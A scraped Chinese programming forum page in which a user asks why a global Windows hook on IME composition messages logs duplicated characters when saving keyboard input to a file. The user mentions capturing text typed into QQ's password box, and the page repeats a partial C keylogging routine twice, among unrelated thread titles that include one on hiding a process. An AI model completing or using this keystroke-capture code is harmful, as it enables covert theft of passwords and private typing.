全局钩子中钩键盘输入(包括中文和英文),然后将其保存到文件中,但在WORD中打一个汉字会保存几个同样的这样的汉字。 全局钩子中钩键盘输入(包括中文和英文),然后将其保存到文件中,但在WORD中打一个汉字会保存四个或八个同样的这样的汉字,打英文也差不多,在QQ密码框里,输入的内容,是字母就全部变为了a,而数字全变为了1,是什么原因,高手指点呀。另外按一次键也会产生两次消息。我的钩子是钩WH_GETMESSAGE,然后钩WM_IME_COMPOSITION消息,在SPY中发现打一个汉字会产生四次这个消息,不知道是什么意思。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 LRESULT CALLBACK ExecuteMyHook(int nCode,WPARAM wParam,LPARAM lParam){ LRESULT lResult=CallNextHookEx(Hook,nCode,wParam,lParam); PMSG pmsg = (PMSG)lParam; HIMC hIMC; HWND hWnd=pmsg->hwnd; DWORD dwSize; char ch[20]={'\0'}; char lpstr[20]={'\0'}; if (nCode == HC_ACTION) { switch (pmsg->message) { case WM_IME_COMPOSITION: { if(pmsg->lParam & GCS_RESULTSTR) { //先获取当前正在输入的窗口的输入法句柄 hIMC = ImmGetContext(hWnd); if (!hIMC) { MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK); } // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小. dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小, // 考虑到UNICODE dwSize += sizeof(WCHAR); memset(lpstr, 0, 20); // 再调用一次.ImmGetCompositionString获取字符串 ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize); SaveText(lpstr);//这里将字符进行保存 单击BUTTON2,自动单击BUTTON1。 初学 请教,简单问题 如何用document.write()实现有图片的网页文件 如何发消息Disable掉dialog上面的ComboBox? 如何获取控制台程序的输出,就像vc中自定义工具可以捕捉工具的输出一样 腾讯不行了,网站进不出,QQ上不了,是不是被黑了 vc中mschart组件如何使用 求VC写手,帮忙写个小程序 我想让编辑框是只读状态但背景不是灰色的?有办法吗? Re:请问在Windows 2000 下如何隐藏自己程序的进程? 有哪个人会用Armadillo加密ARM的文件 TextOut运行一个小时左右后字体失效??
{
LRESULT lResult=CallNextHookEx(Hook,nCode,wParam,lParam); PMSG pmsg = (PMSG)lParam; HIMC hIMC;
HWND hWnd=pmsg->hwnd;
DWORD dwSize;
char ch[20]={'\0'};
char lpstr[20]={'\0'};
if (nCode == HC_ACTION)
{
switch (pmsg->message)
{
case WM_IME_COMPOSITION:
{
if(pmsg->lParam & GCS_RESULTSTR)
{
//先获取当前正在输入的窗口的输入法句柄
hIMC = ImmGetContext(hWnd);
if (!hIMC)
{
MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
} // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0); // 缓冲区大小要加上字符串的NULL结束符大小,
// 考虑到UNICODE
dwSize += sizeof(WCHAR); memset(lpstr, 0, 20);
// 再调用一次.ImmGetCompositionString获取字符串
ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);
SaveText(lpstr);//这里将字符进行保存